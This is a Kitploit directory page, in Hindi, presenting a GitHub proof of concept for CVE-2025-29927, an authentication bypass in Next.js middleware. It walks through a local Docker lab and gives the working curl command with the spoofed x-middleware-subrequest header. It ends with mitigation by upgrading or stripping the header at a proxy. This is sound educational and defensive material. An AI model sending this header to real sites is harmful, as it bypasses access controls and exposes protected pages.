Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

CVE-2025-29927 के लिए एक प्रमाण अवधारणा जो Next.js के 13.5.9 से पहले के संस्करणों में मिडलवेयर बाईपास का प्रदर्शन करती है

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
16 महीने पहलेअभी तक समीक्षित नहीं

PoC: CVE-2025-29927 - Next.js मिडलवेयर बाईपास

यह रिपॉज़िटरी एक Proof of Concept (PoC) है जो दर्शाता है कि कैसे Next.js (v13.5.6) में आंतरिक HTTP हेडर से संबंधित एक कमज़ोरी का फायदा उठाकर मिडलवेयर सुरक्षा जांच को बाईपास किया जा सकता है।

कमज़ोरी का अवलोकन: CVE-2025-29927

यह क्या है?

CVE-2025-29927 एक मिडलवेयर बाईपास कमज़ोरी है जो Next.js संस्करण 1.11.4 और संस्करण 12.3.5, 13.5.9, 14.2.25, और 15.2.3 से पहले के संस्करणों में पाई गई है। यह एक बाहरी हमलावर को सुरक्षा तर्क—जैसे प्रमाणीकरण, बॉट पहचान, या भू-स्थान पुनर्निर्देशन—को छोड़ने की अनुमति देता है, जिसे डेवलपर ने अपनी middleware.ts फ़ाइल में लागू किया है।

मूल कारण: हेडर विश्वास

Next.js अपने विभिन्न आर्किटेक्चरल परतों के बीच संचार के लिए आंतरिक HTTP हेडर का उपयोग करता है। इन हेडर में से एक x-middleware-subrequest है।

यह कमज़ोरी इसलिए मौजूद है क्योंकि Next.js के असुरक्षित संस्करण इस हेडर पर भी भरोसा करते हैं जब इसे बाहरी क्लाइंट (जैसे ब्राउज़र या curl) द्वारा भेजा जाता है। जब सर्वर इस हेडर को देखता है, तो वह मान लेता है कि अनुरोध पहले ही मिडलवेयर द्वारा संसाधित और "क्लियर" किया जा चुका है, इसलिए वह आपके सुरक्षा कोड के निष्पादन को पूरी तरह से छोड़ देता है।

प्रभाव

  • प्रमाणीकरण बाईपास: यदि आपका ऐप लॉगिन टोकन की जांच करने के लिए मिडलवेयर पर निर्भर करता है, तो एक हमलावर सुरक्षित पृष्ठों तक पहुंचने के लिए इस जांच को बाईपास कर सकता है।
  • सुरक्षा फ़िल्टर चोरी: दुर्भावनापूर्ण IP या उपयोगकर्ता एजेंटों को ब्लॉक करने के लिए बनाया गया कोई भी तर्क अनदेखा किया जाता है।
  • सूचना प्रकटीकरण: आंतरिक रूट्स तक पहुंच जो प्रतिबंधित होनी चाहिए।

पर्यावरण सेटअप

यह लैब एक Node:18-alpine डॉकर कंटेनर के अंदर चल रहा है ताकि एक साफ और पुनरुत्पादनीय वातावरण सुनिश्चित हो सके।


चरण 1 – कंटेनर बनाएं

हम पृष्ठभूमि में एक नामित कंटेनर चालू करके शुरू करते हैं। हम कॉन्फ़िगरेशन के दौरान कंटेनर को जीवित रखने के लिए sleep infinity का उपयोग करते हैं।

मुझे शुरू में बाद के चरणों में अपने कंटेनर को पुनरारंभ करने में कुछ समस्याएं आईं, इसलिए मैंने sleep infinity का निर्णय लिया।

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
चरण 1

चरण 2 – Next.js 13.5.6 स्थापित करें

हम Next.js का विशिष्ट असुरक्षित संस्करण स्थापित करते हैं। ध्यान दें कि --src-dir false फ्लैग के बावजूद, फ्रेमवर्क एक src निर्देशिका बनाता है, जहां हमें अपना मिडलवेयर रखना होता है ताकि वह सक्रिय हो सके।

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
चरण 2.1
चरण 2.2

चरण 3 – "गेटकीपर" (मिडलवेयर) बनाएं

एक सुरक्षा अवरोध का अनुकरण करने के लिए, हम एक middleware.ts फ़ाइल बनाते हैं। यह मिडलवेयर सभी आने वाले अनुरोधों को 401 अनधिकृत स्थिति के साथ ब्लॉक करने के लिए कॉन्फ़िगर किया गया है।

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
चरण 3

चरण 4 – सर्वर प्रारंभ करें

डेवलपमेंट सर्वर प्रारंभ करें और कंसोल में ✓ Ready सिग्नल की प्रतीक्षा करें।

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
चरण 4

चरण 5 – सत्यापन और शोषण

अपनी होस्ट मशीन पर curl का उपयोग करके वातावरण का परीक्षण करने के लिए एक नई टर्मिनल विंडो खोलें (पिछले टर्मिनल को बंद न करें)।

1. सामान्य अनुरोध (अवरुद्ध)

बिना संशोधित हेडर वाला एक मानक अनुरोध हमारे मिडलवेयर द्वारा सही ढंग से पकड़ा और अवरुद्ध किया जाता है।

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. CVE-2025-29927 के माध्यम से बाईपास (शोषण)

आंतरिक हेडर x-middleware-subrequest: src/middleware इंजेक्ट करके, हम Next.js को यह विश्वास दिलाते हैं कि अनुरोध पहले ही एक आंतरिक प्रक्रिया द्वारा सत्यापित किया जा चुका है। सर्वर मिडलवेयर निष्पादन को छोड़ देता है और पूर्ण पहुंच प्रदान करता है।

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
चरण 5

शमन

अपने एप्लिकेशन को CVE-2025-29927 से बचाने के लिए, आपको Next.js को अपने वर्तमान प्रमुख रिलीज़ के अनुरूप पैच किए गए संस्करण में अपग्रेड करना चाहिए:

1. अनुशंसित अपडेट

कमज़ोरी निम्नलिखित संस्करणों में हल की गई है। सुनिश्चित करें कि आपका package.json कम से कम इन संस्करणों को दर्शाता है:

  • Next.js 15: 15.2.3 या उसके बाद के संस्करण में अपग्रेड करें।
  • Next.js 14: 14.2.25 या उसके बाद के संस्करण में अपग्रेड करें।
  • Next.js 13: 13.5.9 या उसके बाद के संस्करण में अपग्रेड करें (इस PoC में उपयोग किया गया संस्करण)।
  • Next.js 12: 12.3.5 या उसके बाद के संस्करण में अपग्रेड करें।
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. इंफ्रास्ट्रक्चर-स्तरीय रक्षा

यदि तत्काल अपग्रेड संभव नहीं है, तो आपको अपने वेब एप्लिकेशन फ़ायरवॉल (WAF) या रिवर्स प्रॉक्सी (जैसे Nginx, Cloudflare, या Varnish) को कॉन्फ़िगर करना चाहिए कि वह Next.js एप्लिकेशन सर्वर तक पहुंचने से पहले सभी आने वाले बाहरी अनुरोधों से x-middleware-subrequest हेडर को हटा या छोड़ दे।

3. सत्यापन

अपग्रेड करने के बाद, आप चरण 5 से शोषण कमांड को फिर से चलाकर फिक्स को सत्यापित कर सकते हैं। एक पैच किया गया सर्वर जब स्पूफ़ किया गया हेडर मौजूद होगा तो अब 200 OK नहीं देगा।


निष्कर्ष

यह कमज़ोरी इसलिए मौजूद है क्योंकि Next.js आंतरिक उप-अनुरोधों की पहचान करने के लिए क्लाइंट-साइड हेडर पर भरोसा करता है। इसे कम करने के लिए, Next.js को एक ऐसे संस्करण में अपडेट किया जाना चाहिए जो बाहरी आने वाले ट्रैफ़िक से इन आंतरिक हेडर को ठीक से मान्य या हटा दे।

अस्वीकरण: यह PoC केवल शैक्षिक उद्देश्यों के लिए है।

संदर्भ

  • NVD आधिकारिक प्रविष्टि: CVE-2025-29927 का विवरण - प्रभावित संस्करण 13.5.1 से 13.5.8 और 13.5.9 फिक्स की पुष्टि करता है।
  • GitHub सुरक्षा सलाह: GHSA-65p9-6799-7872 - मिडलवेयर बाईपास से संबंधित मूल सलाह।
  • Next.js सुरक्षा रिलीज़: Next.js ब्लॉग - सुरक्षा पैच की आधिकारिक घोषणा।
टूल डाउनलोड करें